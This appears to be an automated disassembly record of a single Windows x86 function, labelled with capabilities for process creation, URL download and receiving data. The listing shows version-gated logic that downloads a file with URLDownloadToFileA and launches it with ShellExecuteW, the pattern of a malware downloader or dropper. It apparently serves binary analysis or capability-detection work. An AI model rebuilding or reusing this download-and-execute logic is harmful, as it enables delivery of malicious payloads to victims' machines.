Function at 0x42c770
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [0x46d23c]
push edi
mov edi, dword [0x46d228]
mov dword [ebp - 8], ecx
mov eax, edi
cmp esi, 0x10
jae 0x42c794
mov eax, 0x46d228
mov ecx, str.v10
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42c7c0
test dl, dl
je 0x42c7bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42c7c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x42c7a0
xor eax, eax
jmp 0x42c7c5
sbb eax, eax
sbb eax, 0xffffffff
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x42cae8
mov eax, edi
cmp esi, 0x10
jae 0x42c7df
mov eax, 0x46d228
mov ecx, str.V12
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42c804
test dl, dl
je 0x42c800
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42c804
add eax, 2
add ecx, 2
test dl, dl
jne 0x42c7e4
xor eax, eax
jmp 0x42c809
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x42c93f
mov eax, dword [ebp - 8]
cmp dword [eax + 0x156c], 0
je 0x42cae8
mov esi, dword [0x46cd10]
mov eax, esi
cmp esi, 4
jb 0x42c833
mov eax, 4
cmp dword [0x46cd14], 0x10
mov ecx, dword [0x46cd00]
jae 0x42c847
mov ecx, 0x46cd00
push eax
push 0x45b6ec
push ecx
call fcn.00421810
add esp, 0xc
test eax, eax
jne 0x42c86d
cmp esi, 4
jb 0x42c86d
cmp esi, 4
setne al
test eax, eax
je 0x42cae8
push 0x458e24
lea ecx, [ebp - 4]
call fcn.00408300
cmp dword [0x46cd4c], 0x10
mov eax, dword [0x46cd38]
jae 0x42c88d
mov eax, 0x46cd38
push eax
lea ecx, [ebp - 0xc]
call fcn.00407e50
mov ecx, dword [eax]
mov edx, dword [0x46ccc4]
push ecx
push edx
lea eax, [ebp - 4]
push 0x45b248
push eax
call fcn.00414da0
mov eax, dword [ebp - 0xc]
add eax, 0xfffffff0
add esp, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42c8d0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [ebp - 4]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 0
call ebx
mov dword [ebp - 0xc], eax
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42c8f0
sub eax, edx
sar eax, 1
lea ebx, [eax + eax + 1]
push ebx
call fcn.0043d95e
mov esi, eax
add esp, 4
test esi, esi
jne 0x42c932
push ebx
call fcn.0043d95e
mov esi, eax
add esp, 4
test esi, esi
jne 0x42c932
lea ecx, [ebp - 4]
call fcn.00402220
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
push 0
push 0
push ecx
jmp 0x42ca8d
mov eax, edi
cmp esi, 0x10
jae 0x42c94b
mov eax, 0x46d228
mov ecx, str.V11
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42c970
test dl, dl
je 0x42c96c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42c970
add eax, 2
add ecx, 2
test dl, dl
jne 0x42c950
xor eax, eax
jmp 0x42c975
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x42cae8
mov esi, dword [0x46cd10]
mov eax, esi
cmp esi, 4
jb 0x42c98f
mov eax, 4
cmp dword [0x46cd14], 0x10
mov ecx, dword [0x46cd00]
jae 0x42c9a3
mov ecx, 0x46cd00
push eax
push 0x45b6ec
push ecx
call fcn.00421810
add esp, 0xc
test eax, eax
jne 0x42c9c9
cmp esi, 4
jb 0x42c9c9
cmp esi, 4
setne al
test eax, eax
je 0x42cae8
push 0x45b6ec
push 0x46cd70
call fcn.00422780
add esp, 8
test al, al
je 0x42cae8
push 0x458e24
lea ecx, [ebp - 4]
call fcn.00408300
cmp dword [0x46cd4c], 0x10
mov eax, dword [0x46cd38]
jae 0x42ca03
mov eax, 0x46cd38
push eax
lea ecx, [ebp - 0xc]
call fcn.00407e50
mov edx, dword [eax]
mov eax, dword [0x46ccc4]
push edx
push eax
lea ecx, [ebp - 4]
push 0x45b248
push ecx
call fcn.00414da0
add esp, 0x10
lea ecx, [ebp - 0xc]
call fcn.00402220
mov edi, dword [ebp - 4]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 0
call ebx
mov dword [ebp - 0xc], eax
mov eax, edi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42ca50
sub eax, edx
sar eax, 1
lea ebx, [eax + eax + 1]
push ebx
call fcn.0043d95e
mov esi, eax
add esp, 4
test esi, esi
jne 0x42ca85
push ebx
call fcn.0043d95e
mov esi, eax
add esp, 4
test esi, esi
je 0x42c921
mov edx, dword [ebp - 0xc]
push 0
push 0
push edx
push esi
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp dword [0x46cd84], 0x10
mov eax, dword [0x46cd70]
jae 0x42cab6
mov eax, 0x46cd70
push 0
push 0
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0
push 0
push 0
push edi
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 4]
call fcn.00402220
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, dword [0x46d258]
mov edi, dword [0x46d244]
mov eax, edi
cmp esi, 0x10
jae 0x42cb00
mov eax, 0x46d244
mov ecx, str.V20
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42cb25
test dl, dl
je 0x42cb21
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42cb25
add eax, 2
add ecx, 2
test dl, dl
jne 0x42cb05
xor eax, eax
jmp 0x42cb2a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x42ce32
mov eax, edi
cmp esi, 0x10
jae 0x42cb3e
mov eax, 0x46d244
mov ecx, str.V22
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42cb63
test dl, dl
je 0x42cb5f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42cb63
add eax, 2
add ecx, 2
test dl, dl
jne 0x42cb43
xor eax, eax
jmp 0x42cb68
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x42cc92
mov eax, dword [ebp - 8]
cmp dword [eax + 0x3718], 0
je 0x42ce32
mov esi, dword [0x46cdd4]
mov eax, esi
cmp esi, 4
jb 0x42cb92
mov eax, 4
cmp dword [0x46cdd8], 0x10
mov ecx, dword [0x46cdc4]
jae 0x42cba6
mov ecx, 0x46cdc4
push eax
push 0x45b6ec
push ecx
call fcn.00421810
add esp, 0xc
test eax, eax
jne 0x42cbcc
cmp esi, 4
jb 0x42cbcc
cmp esi, 4
setne al
test eax, eax
je 0x42ce32
push 0x458e24
lea ecx, [ebp - 4]
call fcn.00408300
cmp dword [0x46ce10], 0x10
mov eax, dword [0x46cdfc]
jae 0x42cbec
mov eax, 0x46cdfc
push eax
lea ecx, [ebp - 0xc]
call fcn.00407e50
mov ecx, dword [eax]
mov edx, dword [0x46ccc4]
push ecx
push edx
lea eax, [ebp - 4]
push 0x45b248
push eax
call fcn.00414da0
mov eax, dword [ebp - 0xc]
add eax, 0xfffffff0
add esp, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42cc2f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [ebp - 4]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 0
call ebx
mov dword [ebp - 0xc], eax
mov eax, edi
lea edx, [eax + 2]
jmp 0x42cc50
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42cc50
sub eax, edx
sar eax, 1
lea ebx, [eax + eax + 1]
push ebx
call fcn.0043d95e
mov esi, eax
add esp, 4
test esi, esi
jne 0x42cc85
push ebx
call fcn.0043d95e
mov esi, eax
add esp, 4
test esi, esi
je 0x42c921
mov ecx, dword [ebp - 0xc]
push 0
push 0
push ecx
jmp 0x42cddd
mov eax, edi
cmp esi, 0x10
jae 0x42cc9e
mov eax, 0x46d244
mov ecx, str.V21
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42ccc3
test dl, dl
je 0x42ccbf
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42ccc3
add eax, 2
add ecx, 2
test dl, dl
jne 0x42cca3
xor eax, eax
jmp 0x42ccc8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x42ce32
mov esi, dword [0x46cdd4]
mov eax, esi
cmp esi, 4
jb 0x42cce2
mov eax, 4
mov ecx, dword [0x46cdc4]
mov edi, 0x10
cmp dword [0x46cdd8], edi
jae 0x42ccfa
mov ecx, 0x46cdc4
push eax
push 0x45b6ec
push ecx
call fcn.00421810
add esp, 0xc
test eax, eax
jne 0x42cd20
cmp esi, 4
jb 0x42cd20
cmp esi, 4
setne al
test eax, eax
je 0x42ce32
push 0x45b6ec
push 0x46ce34
call fcn.00422780
add esp, 8
test al, al
je 0x42ce32
push 0x458e24
lea ecx, [ebp - 4]
call fcn.00408300
mov eax, dword [0x46cdfc]
cmp dword [0x46ce10], edi
jae 0x42cd59
mov eax, 0x46cdfc
push eax
lea ecx, [ebp - 0xc]
call fcn.00407e50
mov edx, dword [eax]
mov eax, dword [0x46ccc4]
push edx
push eax
lea ecx, [ebp - 4]
push 0x45b248
push ecx
call fcn.00414da0
add esp, 0x10
lea ecx, [ebp - 0xc]
call fcn.00402220
mov edi, dword [ebp - 4]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 0
call ebx
mov dword [ebp - 0xc], eax
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42cda0
sub eax, edx
sar eax, 1
lea ebx, [eax + eax + 1]
push ebx
call fcn.0043d95e
mov esi, eax
add esp, 4
test esi, esi
jne 0x42cdd5
push ebx
call fcn.0043d95e
mov esi, eax
add esp, 4
test esi, esi
je 0x42c921
mov edx, dword [ebp - 0xc]
push 0
push 0
push edx
push esi
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp dword [0x46ce48], 0x10
mov eax, dword [0x46ce34]
jae 0x42ce06
mov eax, 0x46ce34
push 0
push 0
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0
push 0
push 0
push edi
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 4]
call fcn.00402220
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret